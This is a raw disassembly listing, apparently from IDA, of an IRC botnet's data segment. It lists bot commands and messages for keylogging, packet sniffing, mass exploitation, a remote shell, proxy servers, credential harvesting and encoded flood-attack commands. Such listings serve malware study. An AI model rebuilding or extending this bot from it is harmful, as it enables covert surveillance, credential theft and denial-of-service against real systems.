aStop		db 'stop',0             ; DATA XREF: seg000:0040ED91o
		align 4
dword_43565C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:loc_40ED86o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_435690	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040ED7Co
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4356C8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: seg000:0040ECF8o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: seg000:0040ECD4o
unk_43571C	db    2			; DATA XREF: seg000:0040EC93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_24	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43576C	db    2			; DATA XREF: seg000:0040EC28o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4357A0	db    2			; DATA XREF: seg000:0040EBAAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4357D4	db    2			; DATA XREF: seg000:loc_40EB86o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_435814	db    2			; DATA XREF: seg000:0040EB7Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: seg000:0040EB22o
		align 10h
unk_435870	db    2			; DATA XREF: seg000:loc_40EB18o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_4358AC	db    2			; DATA XREF: seg000:0040EB0Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: seg000:0040EAEBo
					; seg000:0040EB59o
unk_4358FC	db    2			; DATA XREF: seg000:0040EAE0o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_25	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_43594C	db    2			; DATA XREF: seg000:0040EA71o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_435990	db    2			; DATA XREF: seg000:0040EA0Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: seg000:0040E9EDo
					; seg000:0040EB37o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: seg000:0040E9D8o
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: seg000:0040E9C1o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: seg000:0040E9AAo
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: seg000:0040E993o
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: seg000:0040E97Co
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: seg000:0040E94Eo
					; seg000:0040E965o
		align 4
aEnz_v		db 'enz.v',0            ; DATA XREF: seg000:0040E937o
		align 4
aEnz_visit	db 'enz.visit',0        ; DATA XREF: seg000:0040E920o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: seg000:0040E909o
		align 10h
aBox_filelist	db 'box.filelist',0     ; DATA XREF: seg000:0040E8F2o
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: seg000:0040E8DBo
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: seg000:0040E8C4o
aBox_del	db 'box.del',0          ; DATA XREF: seg000:0040E8ADo
aBox_delete	db 'box.delete',0       ; DATA XREF: seg000:0040E896o
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: seg000:0040E87Fo
		align 10h
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: seg000:0040E868o
		align 10h
aBox_kpn	db 'box.kpn',0          ; DATA XREF: seg000:0040E851o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: seg000:0040E83Ao
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: seg000:0040E823o
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: seg000:0040E80Co
aEnz_se		db 'enz.se',0           ; DATA XREF: seg000:0040E7F5o
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: seg000:0040E7DEo
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: seg000:0040E7C7o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: seg000:0040E7B0o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: seg000:0040E799o
		align 10h
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: seg000:0040E782o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: seg000:0040E76Bo
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: seg000:0040E754o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: seg000:0040E73Do
aClone_quit	db 'clone.quit',0       ; DATA XREF: seg000:0040E726o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: seg000:0040E70Fo
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: seg000:0040E6F8o
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: seg000:0040E6E1o
		align 10h
aEnz_raw	db 'enz.raw',0          ; DATA XREF: seg000:0040E6CAo
aEnz_pt		db 'enz.pt',0           ; DATA XREF: seg000:0040E6B3o
		align 10h
aEnz_part	db 'enz.part',0         ; DATA XREF: seg000:0040E69Co
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: seg000:0040E685o
		align 4
aEnz_join	db 'enz.join',0         ; DATA XREF: seg000:0040E66Eo
		align 10h
aEnz_n		db 'enz.n',0            ; DATA XREF: seg000:0040E657o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: seg000:0040E640o
		align 4
aVall		db 'vall',0             ; DATA XREF: seg000:0040E61Ao
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: seg000:0040E605o
		align 10h
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: seg000:0040E5F0o
		align 10h
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: seg000:0040E5DBo
		align 10h
aServer_web_on	db 'server.web.on',0    ; DATA XREF: seg000:0040E5C6o
		align 10h
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: seg000:0040E5B1o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: seg000:0040E59Co
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: seg000:0040E587o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: seg000:0040E572o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: seg000:0040E55Do
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: seg000:0040E548o
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: seg000:0040E533o
		align 4
aBox_gc		db 'box.gc',0           ; DATA XREF: seg000:0040E51Eo
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: seg000:0040E509o
dword_435C38	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E4F8o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: seg000:0040E4C4o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:0040E4B7o
aLoginList	db '-[Login List]-',0   ; DATA XREF: seg000:0040E495o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: seg000:0040E47Co
aCmd		db '[CMD]',0            ; DATA XREF: seg000:0040E471o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: seg000:0040E46Co
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: seg000:0040E453o
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: seg000:0040E43Eo
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: seg000:0040E429o
aBox_dll	db 'box.dll',0          ; DATA XREF: seg000:0040E414o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: seg000:0040E3FFo
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: seg000:0040E3EAo
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: seg000:0040E3D5o
		align 4
aBox_up		db 'box.up',0           ; DATA XREF: seg000:0040E3C0o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: seg000:0040E3ABo
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: seg000:0040E396o
aBox_harvest	db 'box.harvest',0      ; DATA XREF: seg000:0040E381o
aBox_ps		db 'box.ps',0           ; DATA XREF: seg000:0040E36Co
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: seg000:0040E357o
		align 10h
aEnz_010	db 'enz.010',0          ; DATA XREF: seg000:0040E342o
aEnz_be010ne	db 'enz.be010ne',0      ; DATA XREF: seg000:0040E32Do
aBox_si		db 'box.si',0           ; DATA XREF: seg000:0040E318o
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: seg000:0040E303o
aBox_ni		db 'box.ni',0           ; DATA XREF: seg000:0040E2EEo
		align 10h
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: seg000:0040E2D9o
aUtil_clg	db 'util.clg',0         ; DATA XREF: seg000:0040E2C4o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: seg000:0040E2AFo
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: seg000:0040E29Ao
		align 10h
aEnz_log	db 'enz.log',0          ; DATA XREF: seg000:0040E285o
aEnz_al		db 'enz.al',0           ; DATA XREF: seg000:0040E270o
		align 10h
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: seg000:0040E25Bo
aThreads_l	db 'threads.l',0        ; DATA XREF: seg000:0040E246o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: seg000:0040E231o
		align 4
dword_435DD8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E1FDo
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 10h
dword_435E10	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040E1F6o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: seg000:0040E1DFo
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: seg000:0040E1CAo
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: seg000:0040E1B5o
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: seg000:0040E1A0o
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: seg000:0040E18Bo
		align 10h
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: seg000:0040E176o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: seg000:0040E161o
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: seg000:0040E14Co
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: seg000:0040E137o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: seg000:0040E122o
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: seg000:0040E10Do
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: seg000:0040E0F8o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: seg000:0040E0E3o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: seg000:0040E0D8o
		align 4
aScan		db 'Scan',0             ; DATA XREF: seg000:0040E0D3o
		align 10h
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: seg000:0040E0BAo
		align 4
dword_435EEC	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: seg000:0040E0AFo
aSecure_0	db 'Secure',0           ; DATA XREF: seg000:0040E0AAo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: seg000:0040E091o
		align 4
dword_435F14	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: seg000:0040E086o
aClone		db 'Clone',0            ; DATA XREF: seg000:0040E081o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: seg000:0040E068o
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: seg000:0040E053o
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: seg000:0040E03Eo
		align 4
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: seg000:0040E029o
		align 10h
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: seg000:0040E014o
		align 4
dword_435F74	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: seg000:0040E009o
aServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: seg000:0040DFEBo
dword_435F90	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: seg000:0040DFE0o
dword_435F9C	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: seg000:0040DFDBo
dword_435FA8	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: seg000:0040DFC2o
dword_435FB8	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: seg000:0040DFB7o
dword_435FC4	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: seg000:0040DFB2o
dword_435FD0	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: seg000:0040DF99o
dword_435FE0	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: seg000:0040DF8Eo
dword_435FEC	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: seg000:0040DF89o
dword_435FF8	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: seg000:0040DF70o
dword_436008	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: seg000:0040DF65o
dword_436014	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: seg000:0040DF60o
dword_436020	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	seg000:0040DF47o
dword_43602C	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: seg000:0040DF3Co
dword_43603C	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: seg000:0040DF37o
aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: seg000:0040DF1Eo
dword_436060	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: seg000:0040DF13o
dword_43606C	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	seg000:0040DF0Eo
dword_436078	dd 2E676F6Ch, 66666Fh	; DATA XREF: seg000:0040DEF5o
dword_436080	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: seg000:0040DEEDo
dword_43608C	dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: seg000:0040DECFo
dword_43609C	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: seg000:0040DEC7o
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: seg000:0040DEA9o
		align 10h
dword_4360C0	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: seg000:0040DE87o
aServer		db 'Server',0           ; DATA XREF: seg000:0040DE82o
					; seg000:0040DEC2o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: seg000:0040DE69o
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: seg000:0040DE54o
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: seg000:0040DE3Fo
		align 10h
aLd_off		db 'ld.off',0           ; DATA XREF: seg000:0040DE2Ao
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: seg000:0040DE15o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: seg000:0040DE00o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: seg000:0040DDEBo
aEnz_ver	db 'enz.ver',0          ; DATA XREF: seg000:0040DDD6o
aEnz_version	db 'enz.version',0      ; DATA XREF: seg000:0040DDC1o
aEnz_lo		db 'enz.lo',0           ; DATA XREF: seg000:0040DDACo
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: seg000:0040DD97o
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: seg000:0040DD82o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: seg000:0040DD6Do
aEnz_rn		db 'enz.rn',0           ; DATA XREF: seg000:0040DD58o
		align 10h
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: seg000:0040DD40o
a63		db '63',0               ; DATA XREF: seg000:0040DC19o
		align 10h
asc_436190:				; DATA XREF: seg000:0040DBF1o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: seg000:0040DBB4o
		align 4
aServer_2	db '$server',0          ; DATA XREF: seg000:0040DBA9o
aRndnick	db '$rndnick',0         ; DATA XREF: seg000:0040DB98o
		align 10h
aChan		db '$chan',0            ; DATA XREF: seg000:0040DB7Co
		align 4
aUser_2		db '$user',0            ; DATA XREF: seg000:0040DB6Bo
		align 10h
aMe_0		db '$me',0              ; DATA XREF: seg000:0040DB59o
aD_0		db '$%d',0              ; DATA XREF: seg000:0040DAEBo
aD_1		db '$%d-',0             ; DATA XREF: seg000:0040DA30o
		align 10h
aHi_0		db 'hi',0               ; DATA XREF: seg000:0040D958o
		align 4
aNewshit0	db 'newshit0',0         ; DATA XREF: seg000:0040D940o
		align 10h
dword_4361E0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D90Eo
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_436224	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D900o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_436268	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D8F2o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_26	db '  Failed to start chat thread, error: <%d>.',0
dword_4362B0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D883o
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: seg000:0040D7ECo
		align 4
dword_4362EC	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D7CFo
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436340	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D7B1o
					; seg000:0041156Ao
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start transfer thread, error: <%d>.',0
dword_43638C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: seg000:0040D7A0o
		dd 0A0Dh
dword_4363A4	dd 4E495001h, 47h	; DATA XREF: seg000:0040D76Co
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: seg000:0040D726o
		align 4
dword_4363C8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: seg000:0040D70Co
		dd 0D017325h, 0Ah
dword_4363E4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	seg000:0040D6DBo
dword_4363F0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: seg000:0040D5C1o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: seg000:0040D51Eo
		align 4
dword_436438	dd 43434401h, 0		; DATA XREF: seg000:0040D500o
dword_436440	dd 323333h		; DATA XREF: seg000:0040D487o
					; seg000:0040D97Ao ...
aNotice		db 'NOTICE',0           ; DATA XREF: seg000:0040D465o
					; sub_412D32+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: seg000:0040D459o
					; sub_412D32+16o
dword_436454	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D408o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_436488	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D3E1o
		dd 2029206Ch, 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: seg000:0040D3AAo
aPart		db 'PART',0             ; DATA XREF: seg000:0040D35Co
					; seg000:0040D425o
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: seg000:0040D334o
		align 10h
aNick		db 'NICK',0             ; DATA XREF: seg000:0040D206o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1A7o
					; seg000:0040D449o
dword_4364E8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040D18Eo
					; seg000:00412898o ...
		dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: seg000:0040D11Do
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040D0C6o
					; seg000:00411922o ...
		align 10h
a433		db '433',0              ; DATA XREF: seg000:0040D09Eo
a302		db '302',0              ; DATA XREF: seg000:0040D063o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D01Do
					; seg000:0040D1EDo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: seg000:0040CFFCo
		align 4
aPing		db 'PING',0             ; DATA XREF: seg000:0040CFE2o
		align 4
asc_43655C	db ' :',0               ; DATA XREF: seg000:0040CEBFo
					; seg000:loc_40D9D2o
		align 10h
dword_436560	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412B7E+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365AC	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_412B7E+E3o
; ---------------------------------------------------------------------------


loc_4365C8:				; DATA XREF: sub_412B7E+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4365DC	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_412B7E+13Fo
dword_4365F0	dd 25207325h, 253A2073h, 0A0D73h, 0 ; DATA XREF: sub_412D32+58o
off_436600	dd offset aAdd		; DATA XREF: sub_412DCD+6Dr
					; sub_4131B1+50r ...
					; "Add"
off_436604	dd offset aAdded	; DATA XREF: sub_412DCD+2Dr
					; sub_4131B1+82r ...
					; "Added"
dword_436608	dd 0			; DATA XREF: sub_412DCD+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 436674h, 43666Ch,	2, 436660h, 436654h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:00436634o
aStop_0		db 'Stop',0             ; DATA XREF: seg002:00436630o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:00436628o
aStart_0	db 'Start',0            ; DATA XREF: seg002:00436624o
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0043661Co
		align 4
aList_0		db 'List',0             ; DATA XREF: seg002:00436618o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:00436610o
aDelete_0	db 'Delete',0           ; DATA XREF: seg002:0043660Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: seg002:off_436604o
		align 4
aAdd		db 'Add',0              ; DATA XREF: seg002:off_436600o
dword_4366C8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DCD+74o
		dd 2029206Ch, 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_436700	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DCD+55o
		dd 2029206Ch, 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_43673C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_412DCD+38o
		dd 2029206Ch, 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412EF6+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_412EF6:loc_41300Eo
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_412EF6:loc_413007o
		align 4
